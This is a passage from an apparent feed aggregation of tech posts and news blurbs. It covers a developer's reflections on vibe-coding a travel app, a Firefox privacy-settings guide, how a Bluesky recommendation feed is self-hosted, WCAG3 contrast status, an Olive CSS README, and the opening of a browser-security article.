The ugliest part of all this is, of course, the cheapening of the profession as well as all the other ills of LLMs and GenAI that have been well-documented elsewhere. My contribution to this debate is just to document how I feel, which is that I’m somewhat horrified by how easily this tool can reproduce what took me 20-odd years to learn, but I’m also somewhat excited because it’s never been easier to just cobble together some quick POCs or lightweight hobby apps.

After a couple posts on this topic, I’ve decided that my role is not to try to resist the overwhelming onslaught of this technology, but instead to just witness and document how it’s shaking up my worldview and my corner of the industry. Of course some will label me a collaborator, but I think those voices are increasingly becoming marginalized by an industry that has just normalized the use of generative AI to write code.

When I watch some of my younger colleagues work, I am astounded by how “AI-native” their behavior is. It infuses parts of their work where I still keep a distance. (E.g. my IDE and terminal are sacred to me – I like Claude Code in its little box, not in a Warp terminal or as inline IDE completions.)

Conclusion

The most interesting part of this whole experiment, to me, is that throwing together this hobby app has removed the need for my wife to try some third-party service like TripIt or Wanderlog. She tried those apps, but immediately became frustrated with bugs, missing features, and ad bloat. Whereas the app I built works exactly to her specification – and if she doesn’t like something, I can plug her feedback into Claude Code and have it fixed.

My wife is a power user, and she’s spent a lot of time writing emails to the customer support departments of various apps, where she inevitably gets a “your feedback is very important to us” followed by zilch. She’s tried a lot of productivity/todo/planning apps, and she always finds some awful showstopper bugs (like memory leaks, errors copy/pasting, etc.), which I blame on our industry just not taking quality very seriously. Whereas if there’s a bug in this app, it’s a very small codebase, it’s got extensive unit/end-to-end tests, and so Claude doesn’t have many problems fixing tiny quality-of-life bugs.

I’m not saying this is the death-knell of small note-taking apps or whatever, but I definitely think that vibe-coded hobby apps have some advantages in this space. They don’t have to add 1,000 features to satisfy 1,000 different users (with all the bugs that inevitably come from the combinatorial explosion of features) – they just have to make one person happy. I still think that generative UI is kind of silly, because most users don’t want to wait seconds (or even minutes) for their UI to be built, but it does work well in this case (where your husband is a professional programmer with spare time during the holidays).

For my regular dayjob, I have no intention to do things fully “vibe-coded” (in the sense that I barely look at the code) – that’s just too risky and irresponsible in my opinion. When the code is complex, your teammates need to understand it, and you have paying customers, the bar is just a lot higher. But vibe coding is definitely useful for hobby or throwaway projects.

For better or worse, the value of code itself seems to be dropping precipitously, to be replaced by measures like how well an LLM can understand the codebase (CLAUDE.md, AGENTS.md) or how easily it can test its “fixes” (unit/integration tests). I have no idea what coding will look like next year, but I know how my wife will be planning our next vacation.

Sitemap with NextJS after 9.4 update.

Sun, 26 Apr 2026 14:28:15 +0000

Sitemap with NextJS after 9.4 update.

Testing out Sveltia

Sun, 26 Apr 2026 09:30:07 +0000

I set up Sveltia headless CMS on my page, this is my first post with it.

So I wanted to set up a simple headless CMS for my blog. Setting up Sveltia was rather quick and easy, though configuring it took a while.

I have now set it all up and it was rather painless. The main reason I wanted this, while I mostly edit things in my text editor of choice anyway, I sometimes have something I want to share while out and about. So this is pretty much for mobile usage. :) And especially for sharing photos, since I want to be less and less dependent on social media sites and more use my own blog, since I have one setup after all.

As I write this, the editor area is a bit cramped. The other fields take a lot of space, while I would rather have the editor area to take the full screen. But that might be fixable with some CSS I suppose. Will have to investigate that further.

Also if I want to do galleries, I will have to use some Zola magics that are easier to do in the text editor.

I also have my emote system which needs the Zola tags, so that the generator will handle it properly.

Anyway, setting the thing up was rather simple. I just had to make it talk with Codeberg, plop in a private key that is saved locally in my browser cache and that's that. It's just a simple website that shows editors and your pages, nothing extreme. Works for me rather well. And I appreciate the simplicity of it all, so I can recommend this. Feel free to look at my config I made for my Zola generated site if you're interested: config.yml.

Maybe this will get me blog more, at least on the go. Sharing quick photos and the like, especially during Comiccon Finland next month. :)

Also shout out to Bubbles.town! I have been browsing it a bunch and it's been quite interesting to see what people are up to. I am finding a lot of interesting things over there, and I think blogging is still one of the best ways to share things, more than regular social media sites.

Thanks for reading!

Polymarket : un soldat américain arrêté après avoir gagné 400 000 dollars sur la chute de Maduro

Sat, 25 Apr 2026 08:48:21 +0000

Un soldat américain impliqué dans l'opération qui a conduit à la capture de Nicolás Maduro a été arrêté par le ministère de la Justice américain. Il est accusé d'avoir utilisé des informations classifiées pour miser sur Polymarket quelques jours avant l'annonce publique. Ses gains sont estimés à 409 000 dollars.

« J’espère qu’il continuera à passer sous les radars » : comment LinkedIn a invité un agent IA sur scène avant de le bannir

Sat, 25 Apr 2026 08:48:21 +0000

Dans un article publié sur Wired, le journaliste américain Evan Ratliff raconte comment il a monté une startup entièrement pilotée par des agents IA. Parmi eux, on retrouve Kyle, CEO virtuel, devenu influenceur LinkedIn pendant cinq mois, jusqu'à ce que la plateforme l'invite à prendre la parole devant ses propres employés, puis le bannisse 36 heures plus tard.

Adieu Microsoft : le Health Data Hub passe enfin sur un cloud français avec Scaleway

Sat, 25 Apr 2026 08:48:21 +0000

Fini Microsoft Azure, place au cloud souverain. Après des années de controverse liée au risque d'ingérence américaine, le Health Data Hub a officiellement annoncé confier l'hébergement des données de santé des Français à l'entreprise hexagonale Scaleway. L'épilogue d'un très long feuilleton politico-technologique.

Le redoutable Claude Mythos a donné des sueurs froides à Firefox, mais c’était pour son bien

Sat, 25 Apr 2026 08:48:21 +0000

Derrière les notes de mise à jour en apparence banales de Firefox 150 se cache un véritable séisme pour la cybersécurité. En s'alliant avec la nouvelle IA d'Anthropic, Mozilla a débusqué et corrigé près de 300 failles d'un coup. Une avancée historique qui pourrait bien signer la fin des attaques « zero-day » et définitivement inverser le rapport de force entre pirates et défenseurs.

Que faire après un métier de graphiste ?

Fri, 24 Apr 2026 09:05:55 +0000

Motion design, UX, direction artistique, intégration web… Après plusieurs années en tant que graphiste, les pistes d'évolution ne manquent pas. Tour d’horizon des opportunités à saisir ou à envisager.

information - technology - firefox

Fri, 24 Apr 2026 00:21:56 +0000

Download my policies.json file and install it. If the directory doesn't exist, you'll have to make it:
- Linux: /etc/firefox/policies/
- OpenBSD: /usr/local/lib/firefox/distribution/
- MacO's: Firefox.app/Contents/Resources/distribution/
- Windows: stop using Windows. Apparently you have to find firefox.exe and make a distribution directory there and put the file there? Toy OS. Garbage.
If you want to verify that the policies file is working, open a new tab and type about:policies into the URL bar. You should see some settings similar to what's in the file.
Go to uBlock Origin and click Add to Firefox
This will filter out most of the advertisements on websites, saving you a shitload of network traffic (and if your computer is slow, not having to show all that crap is a big speedup). Once you get it set up you can just ignore it, but if you care it will tell you how much stuff it's blocked on your behalf.
- Bonus uBlock step: Once installed, you can open uBlock's preferences window, look at the 'Filter lists' tab, and add new filter lists. There's a section 'Cookie notices' which contains lists that try to block the stupid cookie consent banners.
Go to LocalCDN and click Add to Firefox
Most websites load the same files over and over from the same places -- primarily Google servers. This thing puts all that right in your browser, making for less network traffic and denies Google the privilege of inspecting your usage patterns. Once it's installed you can ignore it.
Open a new tab. Click the gear icon in the upper-right corner and uncheck all of it. If you don't have the gear icon in a new tab, go to Settings -> Home and uncheck everything under Firefox Home Content.
Open a new tab and paste about:preferences into the URL bar.
1. In General, scroll to Browsing:
  1. Uncheck "Recommend extensions as you browse"
  2. Uncheck "Recommend features as you browse"
2. In Home:
  1. Set "Homepage and new windows" and "New Tabs" to "Blank Page"
  2. Uncheck everything.
3. In Search:
  1. Set your preferred search engine under "Default Search Engine."
  2. Uncheck "Show search suggestions."
  3. Uncheck "Show recent searches."
  4. Turn off "Improve the Firefox Suggest experience."
  5. Delete search engines you don't like from "Search Shortcuts."
4. In Privacy and Security:
  1. Under Enhanced Tracking Protection, set to Strict.
    (It might break something, but I haven't found what.)
  2. Check "Tell websites not to sell or share my data."
  3. Scroll to "Firefox Data Collection and Use":
    1. Uncheck Allow Firefox to send technical and interaction data to Mozilla.
      (Mozilla has never looked at this information, so it's a waste of your bandwidth.)
    2. Uncheck Allow Firefox to install and run studies
      (This is how they test bad ideas on your computer.)
    3. Uncheck Send daily usage ping to Mozilla
  4. Scroll to Website Advertising Preferences:
    1. Uncheck, if possible, Allow websites to perform privacy-preserving ad measurement.
      Firefox Mobile does not have this toggle. See below for an alternative approach.
      (There is no privacy-preserving ad measurement.)
  5. Scroll to Security:
    1. Uncheck Block dangerous and deceptive content.
      Firefox Mobile does not have this toggle. See below for an alternative approach.
      (It does this by checking your browsing against a list you have no control over and it's a pain in the ass to inspect.)
    2. Uncheck Query OCSP responder servers...
      (This works by asking some third party about the sites you're visiting. The danger it protects you from is very rare and probably not worth sending your browser history to internet randos in realtime.)
Open a new tab and type about:config into the URL bar. Click I accept the risk.
On Firefox Mobile, go to the url chrome://geckoview/content/config.xhtml instead.

Paste browser.send_pings into the search box. Make sure the value is false.
("Browser pings" exist only to track you. There is no other reason for them to exist. Anyone telling you otherwise is your enemy.)
Paste beacon.enabled into the search box. Make sure the value is false.
(These are almost indistinguishable from "browser pings" and are also only used for tracking you.)
Paste browser.ml.chat.enabled into the search box. Make sure the value is false.
(This turns off the AI garbage that Mozilla is inexplicably convinced anyone asked them for.)
Paste datareporting.policy.dataSubmissionEnable into the search box. Make sure the value is false.
(This is a catchall. Technically it overlaps with some other settings here, but better safe than sorry.)
Paste datareporting.healthreport.uploadEnabled into the search box. Make sure the value is false.
(This is mozilla spying directly on you, collecting informationa about your browser performance.)
Unless you are blind, paste accessibility.force_disabled into the search box. Make sure the value is 1.
(This feature is only of value if you use a screen reader. Every other use of this feature is an attack.)
Paste dom.serviceWorkers.enabled into the search box. Make sure the value is false.
(Service workers provide little user benefit and are frequently abused by ad networks. If you are trying to use some fancy-ass web experience, this might break it.)
Paste network.IDN_show_punycode into the search box. Make sure the value is true.
(This prevents people using bullshit alphabets from showing lookalike domain names.)
Paste geo.enabled into the search box. Make sure the value is false.
Paste geo.provider.network.url into the search box. Double-click to edit, empty it, and save.
(This stops firefox from sending your wifi info to Google.)
Paste network.http.speculative-parallel-limit into the search box. Make sure the value is 0.
(This stops Firefox from trying to guess what you'll click next and downloading everything it guesses.)
Paste network.predictor.enabled into the search box. Make sure the value is false.
(More of the same.)
Paste network.dns.disablePrefetch into the search box. Make sure the value is true.
(Yep, this too.)
Paste network.prefetch-next into the search box. Make sure the value is false.
(Are you detecting a pattern)
Paste extensions.pocket.enabled into the search box. Make sure the value is false.
(This is Mozilla's attempt to get you to save the contents of things you read to their servers.)
Paste browser.urlbar.trimURLs into the search box. Make sure the value is false.
(This setting hides part of the address you've loaded, because someone at Mozilla thought it was prettier that way. We disable it because we don't want the browser to lie to us.)

Bonus round: save battery by killing AI

Paste browser.ml.linkPreview.enabled into the search box. Make sure the value is false.
(This chews through your power and bandwidth to generate "previews" when you hover over a link.)
Paste browser.ml.chat.enabled into the search box. Make sure the value is false.
(Mozilla has, for some reason, shipped a chatbot in Firefox. This turns it off.)
Paste browser.ml.enable into the search box. Make sure the value is false.
(This is a catchall which disables "AI" features. It overlaps with some of the other settings here, but will hopefully stop future crap from running.)
Paste browser.tabs.groups.smart.enabled into the search box. Make sure the value is false.
(Mozilla would like to rearrange the UI from time to time. This tells it not to.)
Paste browser.tabs.groups.smart.userEnabled into the search box. Make sure the value is false.
(This does the same as the last one, but flips a different switch.)
Paste extensions.ml.enabled into the search box. Make sure the value is false.
(This should disable the LLM plugin entirely.)

Things specific to Firefox Mobile
Do these things in chrome://geckoview/content/config.xhtml

To disable "Allow websites to perform privacy-preserving ad measurement," set dom.private-attribution.submission.enabled to false.
To disable "Query OCSP responder servers," set security.OCSP.enabled to 0.
To disable "Block dangerous and deceptive content", set browser.safebrowsing.downloads.enabled to false.

Serving the For You Feed - AT Protocol

Thu, 23 Apr 2026 19:43:59 +0000

We're excited to publish another guest post highlighting development in the atproto ecosystem. Spacecowboy is the builder behind the popular For You feed, which serves personalized content to tens of thousands of users every day. In this post, Spacecowboy explains how they serve the For You feed from their living room, using a combination of local infrastructure and a VPS as a proxy.

In the spirit of the post on how Graze.social serves their feeds, here is how I run 💖For You.

The logic of the feed is super simple: "It finds people who liked the same posts as you, and shows you what else they've liked recently"

For You is a single Go binary that does most things:

consumes the firehose (Jetstream) of posts, likes, reposts and saves them into a sqlite database
serves the feed
serves the playground page https://foryou.club/playground

Being a single process makes it easy to manage.

Database

I store all data in sqlite. A key advantage of sqlite for me is testability - I can create the database in memory for unit testing purposes. I don't need to mock or fake my storage layer. The setup/teardown is instant.

For querying the data, I use the excellent sqlc.dev. It is a tool that gives me full control of the queries I want to run and takes care of the boilerplate through code generation.

To keep likes data memory-efficient (both on disk and in in-memory caches), I give each post AT URI an integer id:

sqlite> select \* from items order by id limit 10;
id uid metadata
7 at://did:plc:x5qqhu6n6jrwp3vulwia6eee/app.bsky.feed.post/3lmn2andjik2x
10 at://did:plc:hn2uy22exqcvxsh7mnikeevz/app.bsky.feed.post/3lmmj3x2oos2i
11 at://did:plc:4wep2s4udx4bqv774cq5wlsk/app.bsky.feed.post/3llh66exc2c2r
12 at://did:plc:kydd7ppawtffeqfvek5omiz4/app.bsky.feed.post/3lmn6tijcgk2z

Similarly for the users stored in the raters table:

The posts, likes, reposts are stored as an entry in the ratings table:

sqlite> select * from ratings limit 10;

id item_id rater_id created_timestamp
5981931671 747239155 556296 1768688218
5981931672 747111170 3677445 1768688218
5981931673 747226521 114350 1768688218
5981931674 745813473 1751615 1768688218
5981931675 718027268 2796254 1768688218
5981931676 747220721 2526 1768688218

I open the sqlite database with multiple connections (5) to allow concurrent reads. To avoid the dreaded "busy" error on writes, I enforce that only one thread can perform a write using a Go mutex. If you search online the most common suggestion for solving the "busy" error is db.SetMaxOpenConns(1), but that makes reads sequential too.

To put a limit on db size I store only the last 90 days of data. Every 24 hours a cleanup goroutine kicks in that deletes all ratings older than 90 days and then deletes all items that have no ratings pointing at them. The sqlite db file is still hefty at 419GB. I never run vacuum on it because it would be too slow (maybe a couple of hours) and would make the feed unavailable.

Logging

There is one more sqlite db - 200GB file storing response logs. It keeps track of which posts have been returned. When the user likes a post that was shown in For You, I notice this in the firehose and update the log entry. Same with "show more" and "show less" interactions. These logs are useful for analyzing how the feed is performing. And when I run an A/B test I can compare the performance of control vs treatment arms. I dump the logs from sqlite periodically into per-day parquet files like this:

2.6G Apr 18 08:16 logs-2026-04-17.parquet

(as these parquet files accumulate I should probably move them to HDD)

I use duckdb to query these parquet files and build graphs like this:

and to generate A/B test reports:

I have been running this test for more than a month and finished it today. The statistically significant result is that users are 2.6% less likely to press "show less like this" 🎉 - 5.7% more "show more" interactions: 41,425 -> 43,795 (+2,370) - 5.2% fewer "show less": 169,848 -> 160,938 (-8,910)
— spacecowboy (@spacecowboy17.bsky.social) 2026-04-06T20:08:46.802Z

and to build the user stats dashboard:

Here is a very rough version of the For You Stats dashboard: linklonk.com/foryou It shows you 3 things: - how much you've been using For You - how many views and likes your posts got in For You - how your likes/reposts helped surface posts to other people in For You Feedback welcome
— spacecowboy (@spacecowboy17.bsky.social) 2026-02-15T15:41:16.214Z

Caching

For You makes very heavy use of in-process caches (https://github.com/hashicorp/golang-lru). I don't need a separate service like Redis because all writers and readers of this cache are in a single process. Such caching is fast - no interprocess communication or serialization/deserialization overhead. Almost 100% of the data that is necessary to generate recommendations comes from the cache and not from the database.

The downside of in-process caches is that whenever I restart the feed process it becomes super slow until the caches are sufficiently warmed up.

Hardware

The feed runs in my living room on my "gaming" PC attached to the TV. Some specs:

CPU: AMD 9950X3D - a 16-core processor with extra L3 cache
- upgraded from 12-core 7900 in Dec 2025:
  - The For You feed is going to be down while I'm upgrading the CPU from AMD 7900 (12 core) to AMD 9950X3D (16 core). This should increase how many users it can serve by ~50%-100%. If all goes well it should be back up in an hour or two.
    — spacecowboy (@spacecowboy17.bsky.social) 2025-12-28T16:40:05.960Z
- The 3D cache gives ~25% performance boost to the CCD with the cache
RAM: 96GB DDR5 6000MT/s
- upgraded from 32GB back in June 2025 before the price crunch
Storage:
- 2TB NVMe for the database
- 2TB NVMe for the rest of the system
Power backup: the PC, the Internet modem and the router are hooked up to an Ecoflow Delta 3, which would provide ~4-5 hours of runtime in case of a power outage

The load

Every day ~72K users load the feed at least once. On average, a user generates ~22 requests per day.

The traffic varies from 15 QPS to 25 QPS. At 25 QPS, the CPU is ~37% loaded (12 out of 32 threads).

The process consumes ~50GB of RAM - 99% of it is the caches.

Being CPU bound, this setup should be able to accommodate 3x more users.

Future growth

What if we get >3x more traffic? In that case, the feed notices that requests are taking longer to process and switches to a set of algorithm parameters that make the calculations significantly (>10x) cheaper with minimal quality degradation:

With these parameters the CPU load went way down: from 22/24 cores being loaded to only 7/24. This means there is a way to handle a lot more traffic.
— spacecowboy (@spacecowboy17.bsky.social) 2025-12-26T17:20:38.611Z

It means we could be serving 30x more users which would be 72K*30=2.1M. The best available proxy for active Bluesky users is the daily count of users who've liked something. This metric has been stable at ~1M (https://bsky.jazco.dev/stats). Which means that the current setup could theoretically support all active users!

Exposing the feed to the internet

The local process serves http://localhost:8090 but you can't access it from outside. To be publicly visible, I rent a small VPS on OVH.

I use Nginx to handle the incoming requests to /xrpc/app.bsky.feed.getFeedSkeleton and /xrpc/app.bsky.feed.sendInteractions. Nginx then proxies the request to a small Go process I call "dispatch". Dispatch does a few things:

It validates the JWT tokens. This process involves fetching the DID document. The host address of the document is controlled by the caller. I don't want to make these requests from my home PC and reveal my IP address.
I run multiple feeds - they run on different ports on my local machine, but they all have to share the same external endpoint: /xrpc/app.bsky.feed.getFeedSkeleton. Dispatch proxies the request to the correct address. Both my home PC and the VPS are on the same Tailscale network, so dispatch makes requests to my PC as http://gaming:8090 for For You or http://gaming:8093 for Videos For You.

When the PC is down for maintenance, I can tell dispatch to return a canned post for all feed requests. Example:

For You will be down for 10-20 minutes. I want to change my RAM speed in bios from 4800 to 6000 in case it helps the feed load a bit faster. For the last week I've been running Gnome from the fresh Ubuntu install and I need to go back to MATE.
— spacecowboy (@spacecowboy17.bsky.social) 2026-02-28T16:39:45.649Z

All VPS services are run through docker-compose.

Monitoring

After a few outages, I've set up free uptime monitoring using https://hetrixtools.com/. They try to access https://foryou.club/playground every minute, and if it becomes unavailable for >5 minutes, they send me an email, a phone call and a text. It's a great service.

The uptime since January has been 99.77%.

Running costs

~$20/month for the electricity - ~200W 24/7
~$7/month for the VPS
~$3/month for two domain names

If I were to rent a similar server, it would cost $245/month. But what fun is that?

I'm totally fine to cover the costs:

Thanks everyone for offering to pitch in to support the For You feed! I want to keep it as a pure hobby project with no financial side. I'm fine to do this indefinitely, so please don't worry about the sustainability.
— spacecowboy (@spacecowboy17.bsky.social) 2025-12-26T22:13:34.108Z

If you can, consider supporting other feed service maintainers who need it much more:

Folks have been reaching out about how to support Graze beyond our core product. We think that support needs to go beyond Graze. That's why we've teamed up with our direct competitors @skyfeed.app and @blueskyfeedcreator.com to jointly support all our work:
— Graze Social (@graze.social) 2026-04-01T16:19:22.122524+00:00

Hi! SkyFeed is struggling and I need to find a solution. If you don't know SkyFeed, it's a service I built 2 years ago, enabling anyone to build and publish feeds using a visual block-based editor. SkyFeed is still hosting the most feeds on Bluesky, but that comes at a cost [1/X]
— redsolver (@redsolver.dev) 2026-03-10T20:22:54.408Z

I think this provides a great example of how you can run a service on local infrastructure, combined with a VPS proxy. It's a cost-effective way to serve a feed to a large number of users without needing to invest in expensive cloud infrastructure.

Thanks for reading! And look forward to more posts featuring feed builders.

Les chiffres clés d’Internet et des réseaux sociaux dans le monde en avril 2026

Thu, 23 Apr 2026 12:49:42 +0000

Quels sont les nouveaux usages d’Internet, des réseaux sociaux et de l’IA en avril 2026 ? Les réponses avec la dernière mise à jour du rapport publié par We Are Social et le cabinet Manochi.

Web Lookup Tools « Ben's IR Notes

Thu, 23 Apr 2026 12:49:32 +0000

Ben's IR Notes

Web Lookup Tools

Apr17 by benleeyr

General tool

https://whois.domaintools.com

Check if IP has been reported for abuse before

http://www.abuseipdb.com

ASN lookup by company name

https://hackertarget.com/as-ip-lookup/

Look for domains similar to your domain

https://dnstwister.report

WCAG3 Contrast as of April 2026 — Adrian Roselli

Thu, 23 Apr 2026 11:24:21 +0000

WCAG3 Contrast as of April 2026

For years I have seen people, teams, products, organizations, and projects promoting APCA contrast as the WCAG3 color contrast algorithm. In many of those cases, those same actors have suggested dismissing the contrast algorithm in WCAG2.

This kind of problematic advice happened so often that I started filing issues with tool makers to remove APCA, as with this May 2024 Chromium issue.

In January 2025 I saw a post promoting that advice, which would create legal risk for anyone following it. You can see my original 2025 response on Mastodon and the same post on Bluesky, where the creator of APCA also weighed in. Read those to ensure you aren’t just taking my word for it.

Current Situation

Here is the most current (as of this writing) contrast ratio algorithm in WCAG3 with the salient bit highlighted:

contrast ratio test Exploratory

meeting a sufficient level of contrast between two colors using the relationship of hue, saturation, and lightness values

Editor’s note
The contrast algorithm used in WCAG 3 is yet to be determined.

contrast ratio definition in W3C Accessibility Guidelines (WCAG) 3.0 Editor’s Draft from 8 April 2026

APCA was marked for removal in early 2023:

Exploratory content that does not gain WG support to proceed to the next stage within 6 months is automatically removed in the WCAG 3 development process. We still hope the promising contrast work will continue to mature for potential later inclusion.

#663 Visual contrast, comment from Michael Cooper, 30 January 2023

As with other WCAG3 ideas that did not get working group support, the working group pulled it from the July 2023 WCAG3 working draft. APCA was only ever exploratory, and the W3C’s July 2023 update explained removal of exploratory items. The APCA creator’s response to Michael Cooper’s comment acknowledged that APCA versions in the draft were all early versions that were very obsolete (emphasis theirs).

I have no idea if APCA, whatever version, will come back to WCAG3.

What to Do?

You can still use APCA (whatever version). If you do, limit your risk by taking one of these approaches:

Choose colors that also conform to WCAG2 contrast requirements; or
If you pick colors that fail WCAG2 contrast requirements, document it and have a ready response should you receive a drive-by lawsuit from a bad actor using an automated checker to find a contrast violation (assuming your attorney lets you do this).

I am still not a (bird) lawyer.

In the meantime, WCAG3 is years away from being done, perhaps 2030 at the soonest. Any contrast algorithm it picks won’t be final until at least then. But if you like whatever is proposed and want to use it before 2030, then probably refer to my two approaches above.

3 Comments

Reply

Lawsuit?? There’s a page on gov-uk about this, I had no idea there were legal requirements for accessibility before now.

Aaron; 11 April 2026 at 2:22 am. Permalink

In response to Aaron. Reply

Without knowing where you are in the world, I suggest looking at Lainey Feingold’s Global Law and Policy page. It’s a reasonably current collection of digital accessibility laws around the world, which often reference a technical standard (typically WCAG).

Adrian Roselli; 11 April 2026 at 9:27 am. Permalink

Reply

Hi Adrian, thanks for the update. A couple of clarifications for your readers.

I want to be completely clear: APCA is draft guidance we are actively testing and evaluating. This is not a final standard, and no one should be calling it “WCAG 3” — I’ve said so many times. The W3C a11y guidelines working group doesn’t conduct research—that is what we are doing at Inclusive Reading Technologies.

You’re right that nobody should drop WCAG 2 conformance based on a draft, no disagreement there. That said, the current algorithm and guidelines reflect years of work, independent validation, and peer-reviewed journal-published papers. The APC-RC guidelines all refer to well established peer reviewed research. In practice, colors that pass APCA for a given font size and weight greatly exceed WCAG 2’s minimums in the vast majority of cases. To be clear, nothing prevents APCA from being “backwards compatible” at all, that relates to the actual guidelines, not the math. The controversy, if you can call it that, are ranges of colors allowed or mandated by WCAG2 that can interfere with actual accessibility.

Nevertheless, for anyone who wants both, BridgePCA was designed for exactly that — it automatically passes WCAG 2, but extends improved accommodation using APCA, and several tools already support it.

— Andrew Somers,
Inclusive Reading Technologies

Andrew Somers; 15 April 2026 at 6:38 am. Permalink

jjba23/olive-css: Utility-class vanilla CSS framework inspired by Tailwind syntax, easy to learn and hack, written in Lisp (Guile Scheme) - Codeberg.org

Wed, 22 Apr 2026 22:14:21 +0000

Olive CSS 🫒

Utility-class vanilla CSS framework inspired by Tailwind syntax, easy to learn and hack, written in Lisp (Guile Scheme)

You can use this in any web project, Scheme or not, and it serves as a kind-of drop-in replacement for Tailwind.

This project is licensed under the Lesser GNU General Public License v3 or later.

You can read more about Olive CSS's features and syntax here, in the documentation page:

/jjba23/olive-css/src/branch/trunk/docs/olive/olive.org

You can also find olive-css technical Guile Scheme API documentation here:

https://jointhefreeworld.org/api-docs/olive-css/API.html

You can use Olive CSS like any other utility-class CSS framework, like this:

If you like my work, please support me by buying me a cup of coffee ☕ so I can continue with a lot of motivation.

Licensing

olive-css and all of its source code are free software, licensed under the GNU Lesser General Public License v3 (or newer at your convenience).

https://www.gnu.org/licenses/lgpl-3.0.html

The showcase site, documentation and examples, including this document, which are provided with olive-css, are all licensed under the GNU Free Documentation License v1.3 (or newer at your convenience).

https://www.gnu.org/licenses/fdl-1.3.html

Installing and Using

Installing and using Olive CSS is as simple as downloading a pre-built version from resources/css/ directory, or building your own, and serving it via HTTP (of course also loading it in a <link> tag in your HTML.

About bundle size: Keep in mind that the default olive.min.css is pretty large, since it contains all classes and variants and media queries of classes. It is recommended before going to production, to create your own custom optimized build of Olive CSS, by disabling certain features.

Some factors that can drastically affect the size of the production CSS style sheet are the amount of colors you enable and amount of media queries/breakpoints.

A rule of thumb is to disable xl and/or 2xl queries if you won't use them, and only choose some colors. This is made easy thanks to Guile Scheme's powerful parameterize syntax and helpers, allowing you to override pretty much anything. It can also be useful to disable dark mode since that will save a lot of complexity. See scripts/olive-css-gen.scm for more.

It's also important to ensure that your web server efficiently caches CSS files and compresses them with GZIP or Brotli.

Customizing Olive CSS

Customization is a first-class feature in Olive CSS. Thanks to the power of Guile Scheme, you can enable/disable features, tweak sizes, colors, and easily add your own utility rules.

Key customization points:

Choose which screen breakpoints to include (sm, md, lg, xl, 2xl)
Enable or disable dark mode with parameterize
Customize your color palette and choose some colors for your project

You can also generate your own responsive or hover-based variants with addmq and addhover

See scripts/olive-css-gen.scm and src/olive-css/main.scm and the API docs for more.

Philosophy

Olive CSS is not another Tailwind clone. It is simply inspired by it, and its design is based on these principles:

Hackability: You can extend or modify anything via Scheme code.
Freedom: 100% Free Software, licensed under the LGPLv3+ and FDL 1.3+.
Self-contained: Minimal dependencies and lightweight fast builds.
Expressiveness: Easily add support for ANY CSS feature and your own palettes and rules/declarations.

It is built to encourage learning and experimentation, rather than hiding complexity behind rigid inflexible tooling.

Code of conduct

This project adheres to the jointhefreeworld code of conduct. Find it here:

https://jointhefreeworld.org/blog/articles/personal/jointhefreeworld-code-of-conduct/index.html

In summary, we foster an inclusive, respectful, and cooperative environment for all contributors and users of this free software project. Inspired by the ideals of the GNU Project, we strive to uphold freedom, equality, and community as guiding principles. We believe that collaboration in a community of mutual respect is essential to creating excellent free software.

Olive CSS Project

Contributing to free software is a uniquely beautiful act because it embodies principles of generosity, collaboration, and empowerment.

We welcome everyone to feel invited to the olive-css Project, and encourage active contribution in all forms, to improve it and/or suggest improvements, brainstorm with me, make it more modular/flexible, etc, feel free to contact me <jjbigorra@gmail.com> to chat, discuss or report feedback.

Find here the Backlog and Kanban boards for olive-css: https://lucidplan.jointhefreeworld.org/tickets/olive-css

Comparison with Tailwind CSS

Feature	Tailwind CSS	Olive CSS
Written in	JavaScript	λ Guile Scheme
Customization	- average (via CSS config)	✔️ extensive (via code and expressive DSL)
Functional API	❌	✔️
Free Software	❌ (MIT, not copyleft)	✔️ (LGPL v3 + FDL)
Output control	Limited, JIT compiler is restricting	Full (generate exactly what you want)

Olive CSS is especially appealing if you want a completely libre, hackable, expressive and transparent alternative to Tailwind.

Troubleshooting

Common issues and solutions:

Output is too large: Disable unused breakpoints, variants, or colors in your build script.

Class not found: Make sure you generated the build after adding the class logic.

Dark mode not working: Ensure you are using the correct data-theme="dark" in the HTML element, and that dark mode queries were included in your build.

Invalid CSS: Double-check your custom rule definitions, especially when formatting oklch colors.

Igalia's Brian Kardell joins the W3C TAG | Igalia

Wed, 22 Apr 2026 16:46:55 +0000

Toggle menu

Igalia's Brian Kardell joins the W3C TAG

"Congratulating Brian and the W3C TAG on the appointment."

Feb 10, 2026

The W3C’s Technical Architecture Group (or “TAG”), is a special group within the W3C with stewardship of the overall architecture. The mission of the TAG is to build consensus around principles of Web architecture and to interpret and clarify these principles when necessary, to resolve issues involving general Web architecture brought to the TAG, and to help coordinate cross-technology architecture developments inside and outside W3C. The Members of the TAG participate as individual contributors, not as representatives of their organizations. TAG participants use their best judgment to find the best solutions for the Web, not just for any particular network, technology, vendor, or user.

Following the TAG’s recent election results, the W3C Team has chosen and the Advisory Board and Technical Architecture Group have ratified our very own Brian Kardell for the 2026-28 term as one of the two appointments they will make for this term.

Brian, who started hacking on the web as early as 1996, has well over a decade of experience working in web standards and core technologies, contributing to its continued development, whether it be through championing for important yet underappreciated features or through advocating for the platform at large.

All in all, we believe Brian will be an excellent addition to the group and a champion for a free and extensible web. Congratulations to Brian as well as the W3C TAG on this appointment!

Your Business Lives in a Browser Now.

Wed, 22 Apr 2026 14:13:23 +0000

MOST OF YOUR BUSINESS LIVES IN A BROWSER NOW. HOW IS YOUR BROWSER SECURITY?

For most businesses today, work no longer lives on a desktop or even inside installed software… It lives in your browser.

Open a typical employee’s laptop and you will likely see the same thing. A handful of tabs running Microsoft 365, Salesforce, QuickBooks, SharePoint, Teams, a CRM, maybe a project management tool. Add a few more tabs for email, file sharing, and collaboration, and that browser window becomes the entire workday.

This shift has happened quietly, but it has major implications for how businesses think about security.

The Browser Has Become the Primary Work Environment

Cloud adoption and remote work have changed where and how work gets done. Most business-critical applications are now delivered through the web. Employees are not “using their computer” in the traditional sense. They are operating inside Chrome or Edge for nearly everything.

That means the browser is no longer just a tool. It is the workspace.

And like any workspace, it needs to be secured.

The Hidden Risks Inside the Browser

Because the browser feels familiar and simple, it is often overlooked in security strategies. But it introduces a unique set of risks that many organizations are not actively monitoring.

Session hijacking
Once a user logs into a web application, a session is created. If that session is stolen, an attacker can gain access without needing a password or even bypassing multi factor authentication. This is becoming a more common tactic in modern attacks.
Malicious or risky extensions
Browser extensions can be helpful, but they can also introduce serious vulnerabilities. Some extensions have access to everything happening in the browser, including keystrokes, credentials, and sensitive data. Even legitimate extensions can become compromised.
Phishing that looks legitimate
Phishing attacks have evolved. Today’s phishing pages often look identical to real login portals and are accessed directly through the browser. Users may not realize they have handed over credentials until it is too late.
Shadow IT
